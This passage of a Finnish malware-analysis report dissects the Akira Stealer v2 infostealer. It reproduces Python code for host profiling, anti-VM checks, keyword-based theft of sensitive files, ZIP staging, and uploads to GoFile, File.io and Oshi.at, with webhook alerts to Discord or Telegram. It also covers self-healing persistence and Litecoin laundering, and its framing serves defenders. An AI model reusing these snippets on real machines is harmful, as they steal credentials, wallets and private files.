self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)
Tulokset jäsennetään ihmisluettaviksi merkkijonoiksi (strip(), indeksointioperaatiot) ja yhdistetään muotoon:
self.system_info = (
f"Computer Name: {self.computerName}\n"
f"Total Memory: {self.totalMemory}\n"
f"CPU: {self.cpu}\n"
f"GPU: {self.gpu}\n"
f"Product Key: {self.productKey}"
)
7.10.3 VM-havaitseminen ja anti-sandbox-tarkistukset
Ennen syvää profilointia haittaohjelma kutsuu VmProtect.isVM(level)-funktiota havaitakseen virtualisointi- tai analyysiympäristöt:
if VmProtect.isVM(1):
sys.exit()
Keskeisiä tarkistuksia ovat:
- Rekisteriavaimet ja ajurikuvaukset: Tekee kyselyjä virtualisointiin liittyviin rekisterimerkintöihin.
- Estolistalla olevat UUID:t ja tietokoneiden nimet: Vertaa tunnettuihin VM-sormenjälkiin.
- HTTP-simulaatio: Yrittää muodostaa yhteyden olemattomaan verkkotunnukseen HTTPS:n yli.
- Prosessien estolista: Käynnistää taustasäikeen tappaakseen työkaluja kuten
wireshark,ollydbg,ida64.
7.10.4 Paketointi ja lähetys
Kerätty system_info, IP ja maalippu upotetaan webhook-payloadin otsikoihin:
webhook_payload = {
"embeds": [{
"title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
"description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
"fields": [...]
}]
}
requests.post(self.webhook_url, json=webhook_payload)
- Lippu-emoji: Johdetaan ISO-maakoodista.
- Kentät: Sisältävät varastettujen salasanojen, evästeiden jne. lukumäärät, mutta järjestelmätiedot ovat embedin kuvauksessa välitöntä kontekstia varten.
Yhteenveto: Järjestelmän profilointi Akira Stealer v2:ssa kerää kattavat isäntäkone- ja verkkotiedot WMI-komennoilla, ympäristömuuttujilla ja IP-paikannuksella. Yhdistettynä VM-havaitsemiseen ja työkalujen tappamisrutiineihin tämä varmistaa, että hyökkääjällä on täysi tilannekuva vaarannetusta ympäristöstä, mikä tehostaa kohdennettuja jatkotoimia ja suodattaa pois analyysisandboxit.
7.11 Tiedostojen sieppaaja (luokka: Utils.steal_files)
Selaindatan ja tokenien lisäksi Akira yrittää poimia myös arvokasta käyttäjän luomaa sisältöä—kuten asiakirjoja, taulukoita, yksityisiä muistiinpanoja ja kryptografisia avaintiedostoja. Tiedostojen sieppaaja -moduuli vastaa tästä tehtävästä. Se toimii skannaamalla arvokkaita hakemistoja yleisten tiedostotyyppien ja kuvioiden varalta ja lisäämällä ne sitten hiljaa exfiltraatiopakettiin. Tämän moduulin tekee erityisen vaaralliseksi sen yksinkertaisuus ja fokus: se ei yritä käydä läpi koko tiedostojärjestelmää. Sen sijaan se kohdistuu tiettyihin, todennäköisiin sijainteihin, joihin arkaluonteiset tiedostot tyypillisesti tallennetaan. Näitä ovat Desktop-, Documents-, Downloads- ja OneDrive-hakemistot—kukin suhteessa käyttäjän kotipolkuun. Tämä kohdennettu lähestymistapa parantaa sekä nopeutta että huomaamattomuutta ja vähentää havaitsemisen todennäköisyyttä skannauksen aikana. Se välttää myös käyttäjän hälyttämisen jättämällä järjestelmä- tai suojatut hakemistot koskematta. Kun kiinnostavat tiedostot on paikannettu, ne kopioidaan väliaikaiseen kansioon, mahdollisesti nimetään uudelleen tai ryhmitellään ja pakataan myöhemmin lopulliseen ZIP-arkistoon, joka ladataan exfiltraatiovaiheessa.
7.11.1 Kohdehakemistojen luettelointi
Stealer keskittyy neljään erittäin tuottoisaan kansioon:
searchFolders = [
"Desktop",
"Documents",
"Downloads",
"OneDrive"
]
Kukin kansio tulkitaan suhteessa uhrin kotihakemistoon:
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
# proceed to scan
7.11.2 Avainsanojen ja tiedostopäätteiden suodatus
Avainsanalista
Ennalta määritelty joukko osamerkkijonoja ohjaa tiedostojen valintaa. Vain tiedostonimet, jotka sisältävät vähintään yhden avainsanan, otetaan huomioon:
keywordsFiles = [
"passw", "seed", "mnemo", "phrase", "login", "wallet",
"crypto", "token", "backup", "secret", "account"
]
- Osittaiset osumat: Avainsanat kuten
passwkaappaavat sekäpasswords.txt- ettäpassw_backup.docx-tiedostot. - Laaja kattavuus: Kattaa todennukseen, lompakkoon, kryptoon ja tokeneihin liittyvät termit.
7.11.3 Sallitut tiedostotyypit
Kohinan minimoimiseksi käytössä on tiedostopäätteiden sallittujen lista:
allowed_extensions = [
".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
".jpg", ".png"
]
7.11.3 Kokorajoitus
Yli 2 megatavun tiedostot ohitetaan exfiltraationopeuden optimoimiseksi ja suurten siirtojen välttämiseksi:
file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
# eligible for copy
7.11.4 Rekursiivinen skannaus ja kopiointilogiikka
Kun arvokkaat hakemistot on tunnistettu, Akira käynnistää rekursiivisen skannausrutiinin käydäkseen läpi alikansiot ja paikantaakseen tiettyjä avainsanoja ja tiedostopäätteitä vastaavat tiedostot. Tämä vaihe on rakennettu tarkkuutta ja huomaamattomuutta varten: vain tiedostot, jotka täyttävät ennalta määritellyt kriteerit—kuten arkaluonteisia avainsanoja sisältävät tiedostonimet ja hyväksytyt tiedostotyypit—otetaan huomioon. Logiikka varmistaa, että vain merkityksellinen, käyttäjän luoma sisältö exfiltroidaan. Se ohittaa järjestelmätiedostot, välimuistit ja binäärit ja rajoittaa yksittäisen tiedoston koon 2 megatavuun latauskoon ja havaitsemisriskin pienentämiseksi. Tämä skannausmenetelmä on hiljainen, tehokas ja optimoitu huomaamattomaan tietovarkauteen todellisissa ympäristöissä. Kopioimalla vastaavat tiedostot vaiheistuskansioon ja ylläpitämällä listaa siitä, mitä otettiin, Akira valmistelee sisällön niputukseen ja exfiltraatioon—minimoiden samalla kaksoiskappaleet ja operatiivisen kohinan.
Ydinrutiini steal_files() toimii seuraavasti:
@staticmethod
def steal_files():
stolen_files = set()
temp_folder = Utils.get_temp_folder()
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
for root, _, files in os.walk(current_path):
for file in files:
lower = file.lower()
# Keyword check
if any(keyword in lower for keyword in keywordsFiles):
ext = os.path.splitext(lower)[1]
# Extension and size check
if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
# Prepare destination
files_dir = os.path.join(temp_folder, "Files")
os.makedirs(files_dir, exist_ok=True)
shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
stolen_files.add(file)
data.stolen_files.extend(stolen_files)
Keskeiset kohdat:
os.walk: Laskeutuu rekursiivisesti alihakemistoihin.- Kirjainkoosta riippumaton osuma: Tiedostonimet normalisoidaan funktiolla
lower(). - Atominen kopiointi: Käyttää funktiota
shutil.copytiedostosisällön säilyttämiseen. - Varastettujen tiedostonimien joukko: Estää kaksoiskappaleet, kun sama tiedosto esiintyy kahdesti.
- Integraatio
Data-luokkaan:data.stolen_fileskerää varastettujen tiedostojen listan myöhempää raportointia varten.
7.11.5 Arkistointi ja exfiltraatio
Keräämisen jälkeen Files-kansio zipataan ja lähetetään:
# Archive
Utils.zip_client_file() # creates CLIENT.zip from temp_folder
# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
zip_client_file(): Pakkaa koko väliaikaishakemiston, mukaan lukienFiles,Cookies,Passwordsjne.sendFilesTG(): Julkaisee latauslinkin Telegramin tai Discord-webhookin kautta ja listaa jokaisen varastetun tiedostonimen:fields.append({ "name": "📂 Files", "value": "`" + "\n".join(data.stolen_files) + "`", "inline": False })
Johtopäätös:
Akira Stealer v2:n tiedostojen sieppaaja jahtaa järjestelmällisesti arkaluonteisia asiakirjoja avainsana- ja tiedostopäätesuodattimilla, noudattaa 2 MB:n kokokattoa tehokkuuden vuoksi ja kokoaa varastetut kohteet arkistoon. Sen suunnittelu varmistaa sekä laajuuden (useita kansioita) että tarkkuuden (kohdennetut suodattimet), mikä tekee siitä yhden haittaohjelman elinkaaren vaikuttavimmista vaiheista.
7.12 Exfiltraatiostrategia
Exfiltraatiomoduuli käsittelee haravoidut tokenit ja lisäartefaktit (evästeet, automaattiset täytöt, lokit) vaiheistamalla ne jäsenneltyyn hakemistoon, pakkaamalla ne arkistoksi, lataamalla ne useisiin online-tiedostopalveluihin ja lähettämällä yksityiskohtaisia webhook-ilmoituksia. Tässä luvussa puramme jokaisen vaiheen osiin tiedostopolkujen, verkkotunnusten päätepisteiden ja koodiviittausten kera täyttä jäljitettävyyttä varten.
7.12.1 Hakemistoasettelu ja tiedostonimet
Akira järjestää kaikki kerätyt artefaktit siistiin ja hierarkkiseen väliaikaishakemistorakenteeseen. Tämä suunnittelu mahdollistaa tehokkaan paketoinnin ja helpon exfiltraation jälkeisen tarkastelun hyökkääjälle. Jokainen datakategoria—kuten Tokens, Cookies, Passwords tai Screenshots—tallennetaan omaan alikansioonsa juuripolun alle, joka on nimetty uhrin tietokoneen mukaan (esim. DESKTOP1234). Tämä jäsennelty asettelu varmistaa selkeyden, minimoi kaksoiskappaleet ja virtaviivaistaa arkistointi- ja latausprosessia. Se tekee myös automaattisesta jäsentämisestä tai manuaalisesta tarkastelusta paljon helpompaa hyökkääjän puolella.
C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│ ├ token_ab12cd34.txt
│ └ token_ef56gh78.txt
├─ Cookies\
│ ├ Chrome_Cookies.txt
│ └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\
7.12.2 Tokenien ja artefaktien vaiheistus
Ennen exfiltraatiota Akira vaiheistaa kaikki olennaiset artefaktit vastaaviin alikansioihin. Esimerkiksi token-arvot kirjoitetaan yksittäisiin .txt-tiedostoihin nopean skannauksen ja validoinnin helpottamiseksi. Evästeet, automaattisen täytön merkinnät ja salasanat kirjoitetaan vastaavasti selaimen mukaan nimettyihin jäsenneltyihin tekstitiedostoihin. Tämä vaihe standardoi datan asettelun ja mahdollistaa automaattisten työkalujen seurata, mitä haravoitiin. Se varmistaa myös, että myöhempi zip-arkisto heijastaa ennustettavaa ja hyökkääjäystävällistä muotoa riippumatta siitä, mitkä moduulit laukaistiin.
import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
f.write(token)
- Tokenit tallennetaan erillisiin pieniin tekstitiedostoihin nopeaa tarkastelua varten.
- Evästedumpit funktiosta
Chromium.GetCookies()kirjoitetaan tiedostoon{Browser}_Cookies.txt.
7.13.3 ZIP-arkiston luonti
Kun vaiheistus on valmis, Akira pakkaa koko hakemiston yhdeksi ZIP-arkistoksi. Arkiston tiedostonimi noudattaa yhdenmukaista nimeämiskäytäntöä:
import zipfile, datetime
def create_archive(root_dir: str) -> str:
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root_dir):
for fname in files:
full = os.path.join(dirpath, fname)
rel = os.path.relpath(full, root_dir)
zf.write(full, rel)
return zip_path
- Arkisto nimetty
DESKTOP1234_20250505T123456Z.zipisäntäkoneen johdonmukaisuuden vuoksi.
ZIP-tiedostonimen käytäntö
Arkisto nimetään käyttäen vaarannetun isäntäkoneen tietokoneen nimeä, jota seuraa UTC-aikaleima ISO-muodossa, mikä varmistaa yksilöllisyyden ja kronologisen järjestyksen.
import datetime, os
def create_archive(root_dir: str) -> str:
# Generate UTC timestamp in YYYYMMDDThhmmssZ format
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
# Construct ZIP filename: <ComputerName>_<Timestamp>.zip
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
return zip_path
Arkisto nimetään käyttäen vaarannetun isäntäkoneen tietokoneen nimeä, jota seuraa UTC-aikaleima ISO-muodossa, mikä varmistaa yksilöllisyyden ja kronologisen järjestyksen.
7.14.4 Latauksen työnkulku
Akira käyttää kolmiportaista latausstrategiaa maksimoidakseen onnistuneen datan exfiltraation mahdollisuuden. Se yrittää ensin ladata arkiston GoFile.io-palveluun heidän julkisen API:nsa kautta, joka palauttaa latauslinkin. Jos GoFile ei ole saatavilla tai on estetty, se palautuu File.io:hon ja sitten Oshi.at:hen, mikä varmistaa, että data siirretään aina. Nämä palvelut tarjoavat anonyymiä, lyhytikäistä hostingia, mikä tekee alasajosta ja jäljitettävyydestä vaikeaa. Skripti kaappaa lopullisen lataus-URL:n ja valmistelee sen webhook-toimitusta varten.
- Ensisijainen: GoFile.io
- API palvelinten hakemiseen:
GET https://api.gofile.io/servers - Latauspäätepiste:
POST https://<server>.gofile.io/contents/uploadfile - Vastauskenttä:
data.downloadPagesisältää lopullisen URL:n.
- API palvelinten hakemiseen:
- Varajärjestely #1: File.io
- Latauspäätepiste:
POST https://file.io/parametrillafiles={'file': open(...)} - Vastaus: JSON-kenttä
link.
- Latauspäätepiste:
- Varajärjestely #2: Oshi.at
- Latauspäätepiste:
POST http://oshi.at/parametrillafiles[]ja parametreillaexpire=43200, autodestroy=0. - Vastaus: Selkoteksti, joka sisältää
DL: <url>.
- Latauspäätepiste:
Toteutuskatkelma:
import requests
def upload_with_fallback(zip_path):
# GoFile
try:
servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
for srv in servers:
try:
r = requests.post(
f'https://{srv}.gofile.io/contents/uploadfile',
files={'file': open(zip_path,'rb')}, timeout=20)
url = r.json()['data']['downloadPage']
if url: return url
except: continue
except: pass
# File.io
try:
r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
return r.json().get('link','')
except: pass
# Oshi.at
try:
text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
return text.split('DL: ')[1].strip()
except: pass
return ''
7.15.5 Webhook-hälytykset, hyökkääjän haku ja analyytikon näkyvyyden rajat
Ladattuaan ZIP-arkiston Akira lähettää webhook-ilmoituksen—tyypillisesti Discordiin tai Telegramiin—jäsennellyllä embedillä, joka sisältää yksityiskohtaista tietoa: varastettujen tokenien määrän, evästeiden määrän, tiedoston koon ja klikattavan latauslinkin. Tämä antaa hyökkääjille välitöntä palautetta ja hakuoikeuden. Luotettavuuden varmistamiseksi lähetetään myös selkokielinen varaviesti, joka sisältää pelkän arkistolinkin. Tämä redundanssi takaa toimituksen, vaikka alusta estäisi tai suodattaisi embedin. Puolustajan näkökulmasta nämä viestit ovat usein näkymättömiä, ellei ulospäin suuntautuvaa verkkovalvontaa ole käytössä.
Embed-ilmoitus
# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
{'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
{'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
{'name':'🔑 Tokens','value':str(token_count),'inline':True},
{'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
{'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
'username':'Akira 💊',
'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
- Toimitus: Lähetetään hyökkääjän Discord-/Telegram-kanavaan.
- Embed-linkki: Sisältää klikattavan
download_url-osoitteen, joka osoittaa ZIP-tiedostoon GoFilessa (tai vara-isännässä).
Raakalinkin varajärjestely
# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
- Selkoteksti: Takaa linkin toimituksen siltä varalta, että embedit estetään tai pudotetaan hiljaa.
Miten hyökkääjä hakee linkin
1. Webhook-infrastruktuuri Hyökkääjä upottaa webhook-päätepisteen haittaohjelman konfiguraatioon:
# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
- Discord:
https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN> - Telegram:
https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage
2. Reaaliaikainen toimitus Välittömästi onnistuneen tiedoston latauksen jälkeen haittaohjelma suorittaa:
payload = {
'username': 'Akira 💊',
'embeds': [{
'title': '🗄️ Exfiltration Complete',
'fields': [
{'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
]
}]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
download_url-muuttuja interpoloidaan embedinfields.value-kenttään.- Telegram-varajärjestelyssä
download_urlesiintyy selkokielisessämessage-parametrissa.
3. EDR:n ja forensiikan näkyvyyden rajoitukset
- Ei paikallista lokitusta: Haittaohjelma ei kirjoita
download_url-osoitetta levylle tai järjestelmälokeihin. - EDR:n katvealueet: Työkalut kuten Microsoft Defender for Endpoint voivat merkitä HTTP-pyyntöyrityksen, mutta eivät voi poimia upotettua URL-osoitetta.
4. Miksi analyytikko ei voi palauttaa tätä paikallisesti:
- Ei paikallista kopiota linkistä: Haittaohjelma kirjoittaa
download_url-osoitteen vain muistiin ja lähettää sen verkon yli; se ei tallenna tätä URL-osoitetta levylle tai lokeihin. - Ohimenevän vaiheistuksen siivous: Välittömästi latauksen jälkeen koodi suorittaa:
shutil.rmtree(ROOT),
pyyhkien kaikki vaiheistetut artefaktit (mukaan lukien kaikki ohimenevät tekstitiedostot)%TEMP%:stä. - Vain verkon yli tapahtuva lähetys: Webhook-kutsut (
requests.post) tapahtuvat muistissa; uhrin koneelle ei luoda HTTP-lokeja eikä selaushistorian merkintöjä.
Vaikutus analyytikoille: Ilman live-pakettikaappausta (esim. network TAP tai välityspalvelin) suorituksen hetkellä tarkka
download_urlon palautumaton tartunnan jälkeen. Lisäksi exfiltroitu arkisto poistetaan automaattisesti hosting-palvelusta, mikä pienentää entisestään forensisen haun ikkunaa. Tartunnan jälkeinen levykuvaus tai isäntäpohjainen forensinen palautus ei paljasta hyökkääjän URL-osoitetta tai tiedostoisännän tunnistetietoja, koska paikallisia artefakteja ei jää.
7.13 Johtopäätös
astor.py (Akira Stealer v2) on kattava, kaupallisesti jaeltu stealer-työkalupakki. Se yhdistää laajan kohdennuksen, hienostuneen analyysin vastaisuuden, dynaamisen infrastruktuurin hallinnan ja koko pinon kattavan tietovarkauden tunnistetietojen, kryptovaluuttojen, järjestelmän profiloinnin ja käyttäjätiedostojen osalta. Sen modulaarisuus ja huomaamattomuus yhdistettynä nopeisiin uudelleentartuntamenetelmiin tekevät siitä yhden teknisesti kehittyneimmistä stealereista, joita on havaittu aktiivisessa käytössä.
8. Kiertävä suoritusketju: itsekorjautuva silmukka
Yksi tämän kampanjan teknisesti hienostuneimmista elementeistä on sen regeneratiivinen, kiertävä suoritusmalli. Toisin kuin tavanomaiset haittaohjelmat, joissa on lineaariset vaiheet dropperista payloadiin ja sitten katoaminen, tämä operaatio oli suunniteltu suljetuksi silmukaksi — jossa jokainen komponentti vahtii muita.
Tämä itsekorjautuva arkkitehtuuri teki tartuntaketjusta paitsi pysyvän myös autonomisen. Se pystyi palautumaan täysin osittaisista poistoista. Niin kauan kuin yksi palanen pysyi hengissä, koko haittaohjelmaekosysteemi pystyi kokoamaan itsensä uudelleen.
8.1 Käyttäytymisen erittely
- Persistence-ankkuri (
Updater.exe)Updater.exetoimii perustavana jalansijana. Se pudotetaan tyypillisesti Windowsin käyttäjän käynnistyssijaintiin, kuten%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, tai rekisteröidäänHKCU\Software\Microsoft\Windows\CurrentVersion\Run-avaimen kautta. Sen tehtävä on yksinkertainen mutta kriittinen: varmistaa, ettämain.exeon paikalla, ja käynnistää se hiljaa käyttäjän kirjautumisen yhteydessä. Josmain.exepuuttuu, se purkaa uudelleen arkistonapp-64.7z(joka sijaitsee väliaikaiskansiossa tai pudotetaan uudelleen) ja regeneroi koko Electron-sovellusrakenteen. - Siltaloader (
main.exe)main.exeon Electron-käärittynä Node.js-sovellus. Se ei paljasta mitään käyttöliittymää ja toimii kokonaan taustalla. Suorituksen käynnistyttyä se ajaaapp.asar-arkistoon upotetun JavaScript-logiikan käyttäen Node.js:ää ajoympäristönä. Tämä abstraktiokerros irrottaa ydinlogiikan PE-tyngästä ja auttaa väistämään perinteistä analyysiä. - Suorituksen orkestroija (
jscryter.js)app.asar:iin upotettuna tämä on tartuntaketjun todellinen ohjain. Sen keskeisiä toimintoja ovat:Updater.exe:n läsnäolon tarkistaminen ja sen uudelleentoimitus, jos se puuttuu- Ajonaikaisen konfiguraation dynaaminen injektointi: webhook-URL:t, C2-osoitteet, tokenit
- Joko jo läsnä olevan Python-payloadin (
astor.py) kutsuminen tai sen lataaminen osana ZIP-pakettia (esim.pyth.zip) hyökkääjän hallitsemasta infrastruktuurista
- Payloadin suoritus (
astor.py) Kunastor.pylaukaistaan, se suoritetaan muistissapython.exe:n kautta. Se kerää järjestelmällisesti tallennetut tunnistetiedot, evästeet, Discord-tokenit, selaimen istuntodatan ja kryptovaluuttalompakkolaajennukset. Data vaiheistetaan ZIP-arkistoon ja exfiltroidaan HTTPS:n kautta — yleisesti Discord-webhookeihin, mutta myös vara-API:ta kutengofile.iotai räätälöityjä C2-päätepisteitä on havaittu. - Silmukan eheys ja itsekorjautuminen
Suunnittelu on kiertävä. Jos
Updater.exepoistetaan, se toimitetaan uudelleen. Josmain.exepuuttuu,Updater.exepurkaa sen uudelleen arkistostaapp-64.7z. Josastor.pypoistetaan, JavaScript-kerros hankkii sen uudelleen. Tämä keskinäisriippuvuus tekee haittaohjelmasta kestävän ja kykenevän rekonstruoimaan suoritusketjunsa käytännössä mistä tahansa säilyneestä sirpaleesta.
Tämä arkkitehtuuri ei ole vain modulaarinen — se on itseään ylläpitävä, tarkoituksella suunniteltu huomaamattomuuteen, joustavuuteen ja pitkäaikaiseen selviytymiseen kohdeympäristöissä.
8.2 Miksi tämä on huomionarvoista
Kampanjan arkkitehtoninen suunnittelu heijastaa hienostuneisuuden tasoa, jota ei tyypillisesti nähdä massainfostealereissa. Se menee yksinkertaisia monivaiheisia loadereita pidemmälle — tämä on haittaohjelma, joka on suunniteltu operatiiviseen kestävyyteen, huomaamattomuuteen ja automaatioon.
Keskeiset ominaisuudet
- Täysi autonomia Kun haittaohjelma on otettu käyttöön, se ei vaadi käyttäjän toimia tai ulkoista uudelleenaktivointia. Se toimii kuin haitallinen mikropalvelu — orkestroiden oman persistenssinsä, payloadin suorituksen ja korjausrutiinit ilman ulkoista ohjausta.
- Monikielinen suorituspino
Työkaluketju integroi:
- PE-binäärit (
Updater.exe,main.exe) - Node.js / JavaScript (Electronin kautta)
- PowerShell (käytetty obfuskoituun payloadin välitykseen)
- Python (
astor.py, suoritettu muistinvaraisena stealerina) Tämä kerroksellinen koostumus tekee sen profiloinnista, sormenjälkien keräämisestä ja analyysistä vaikeampaa perinteisillä staattisilla työkaluilla.
- PE-binäärit (
- Puolustuksen väistely suunnitteluperiaatteena
Jokainen komponentti on koodattu, salattu tai dynaamisesti injektoitu:
- Base64-PowerShell-välitys
- AES-salattu ja GZIP-pakattu Python-ydin
- Obfuskoitu JavaScript ajonaikaisella tokenien injektoinnilla
- Itsekorjautuva käyttäytyminen, joka turhauttaa osittaisen poiston
- Ei yksittäistä vikaantumispistettä
Haittaohjelman itsekorjauslogiikka varmistaa, että yksittäisen komponentin poistaminen ei riitä. Jos
Updater.exepoistetaan, infostealer luo sen uudelleen. Josastor.pypoistetaan, JavaScript-ohjain lataa ja toimittaa sen uudelleen.
Lyhyesti sanottuna haittaohjelma käyttäytyy enemmän kuin hajautettu järjestelmä kuin tyypillinen payload — sellainen, joka priorisoi selviytymiskykyä, modulaarisuutta ja huomaamattomuutta.
Tämä nostaa uhan opportunistisesta hyökkäyksestä kestäväksi, mukautuvaksi alustaksi — mikä vaatii puolustajilta yhtä kerroksellisia havaitsemis- ja vastestrategioita sen monimutkaisuuden vastaamiseksi.
8.3 Vaikutukset blue teameille
Puolustajille ja CSOC-operaattoreille tämänkaltainen arkkitehtuuri nostaa rimaa:
- Osittainen siivous on tehotonta. Kaikki solmut on tunnistettava ja poistettava samanaikaisesti.
- Defender for Endpointin korrelointi on olennaista. Analyytikoiden on jäljitettävä koko ketjut:
Updater.exe→cmd.exe→powershell.exe→python.exe. - IOC-vapaa persistence tarkoittaa, että muistipohjaiset heuristiikat, telemetrian perustason määrittäminen ja ketjupohjainen havaitseminen ovat avainasemassa.
Tämä ei ole vain stealer. Se on kestävä haittaohjelma-alusta — joka käyttäytyy enemmän kuin hajautettu järjestelmä kuin yksinkertainen uhka. Ja juuri se tekee siitä sekä vaikuttavan että vaarallisen.
9. Lohkoketjun jäljitys ja analyysi
9.1 Varojen jakautumisen jäljittäminen Litecoin-pohjaisessa haittaohjelmakampanjassa
Tämän haittaohjelmakampanjan reverse engineering -vaiheessa poimimme useita kovakoodattuja lompakko-osoitteita, joita stealer käytti kryptovaluutan exfiltraatioon. Seuraamalla näiden Litecoin-lompakoiden ketjunsisäistä toimintaa pystyimme paljastamaan kuvioita, jotka viittaavat tarkoitukselliseen rahanpesutaktiikkaan. Hyökkääjän hallitsema lompakko LW6EopiZ... toimii keskitettynä kokoamispisteenä. Useilta uhreilta varastetut varat ohjataan tähän osoitteeseen, minkä jälkeen ne jaetaan nopeasti uudelleen useisiin uusiin osoitteisiin.
Tässä nähty käyttäytyminen edustaa klassista split-transfer-kuviota, jota käytetään krypton tumblaus- tai mixaus-operaatioissa. Kussakin tapauksessa koko saapuva saldo jaetaan kahteen suunnilleen samansuuruiseen lähtevään tapahtumaan, joista kumpikin lähetetään eri lompakkoon. Tämä strategia on suunniteltu vaikeuttamaan osoitteiden klusterointia ja ketjun jäljitystä hämärtämällä varojen alkuperää. Se on tehokas taktiikka välttää havaitseminen automaattisilla lohkoketjuanalytiikoilla ja threat intelligence -alustoilla.
Tämä rahanpesukäyttäytyminen hyödyntää tapahtumien ajoituksen, tarkan arvojen jakamisen ja osoitteiden uudelleenkäytön minimoinnin yhdistelmää ohittaakseen heuristiikat, joita klusterointialgoritmit kuten GraphSense, Chainalysis tai TRM Labs yleisesti soveltavat. Kokonaistarkoituksena on luoda korkeaentropisia tapahtumavirtoja, jotka sekoittavat attribuution ja häiritsevät linkitettävyyttä, erityisesti kun varat lopulta sillataan muihin varoihin tai vaihdetaan yksityisyyteen keskittyviin kolikoihin.
Alla olevassa esimerkissä näytämme jäsennellyn osajoukon tästä käyttäytymisestä. Saapuvat tapahtumat edustavat erillisiä uhrisiirtoja. Nämä arvot on sitten täydellisesti kartoitettu lähteviin virtoihin, jotka osoittavat kolikoiden "pesun" nopeiden, ennustettavien ja algoritmisesti jaettujen maksujen kautta.
| Syötelähde | Syötepäivä | Määrä sisään (LTC) | → Hyökkääjän lompakko | Ulosmenevät osoitteet | Yhteensä ulos (LTC) |
|---|---|---|---|---|---|
| Input_1 | 2024-09-21 | 0.25339198 | LLQtaBnSAF... |
- LZmHkgkED... (0.15579078, 2024-09-26)- M8JpDsw5H7... (0.09760120, 2024-09-26)
|
0.25339198 |
| Input_2 | 2024-04-16 | 1.09976044 | LLQtaBnSAF... |
- LgWrCAF8ED... (0.84304664, 2024-06-13)- LgWrCAF8ED... (0.25671380, 2024-06-13)
|
1.09976044 |
| Input_3 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LZL3wQcSRP... (0.38544673, 2024-03-04)- M8kiBpVHG3... (0.38544673, 2024-03-04)
|
0.77089346 |
| Input_4 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LUFLTrqYpix... (0.38544673, 2024-03-04)- La22dfH9eM... (0.38544673, 2024-03-04)
|
0.77089346 |
10. Akira-ekosysteemin sisällä – kaupallistettu kyberrikollisuuden infrastruktuuri
Akira ei ole vain stealer—se on kukoistavan maanalaisen ekosysteemin keskipiste, joka on suunniteltu yksinkertaistamaan, skaalaamaan ja rahastamaan kyberrikollisuutta.
10.1 Plug-and-play-ekosysteemi uhkatoimijoille
Akira-ekosysteemi on esimerkki kyberrikollisuuden kehityksestä ammattimaiseksi, palveluvetoiseksi taloudeksi. Siihen kuuluu:
- Builder-botit payloadien tilausgenerointiin (esim.
@AkiraRedBot) - Telegram-kanavat päivityksiä, ominaisuuspyyntöjä ja asiakastukea varten
- Automatisoitu lisensointi ja maksujen käsittely, usein suoraviestien tai anonyymien verkkokauppa-alustojen kuten Sellixin kautta
- Niputetut moduulit, kuten leikepöydän kaappaajat, Discord-tokenien loggerit, selaindatan stealerit ja jopa kiristyshaittaohjelmalisäosat
- Mukautettavat payloadit, joissa on konfiguraatiokäyttöliittymät kytkinvalintoineen, webhook-syötteineen ja ikonibrändäyksineen

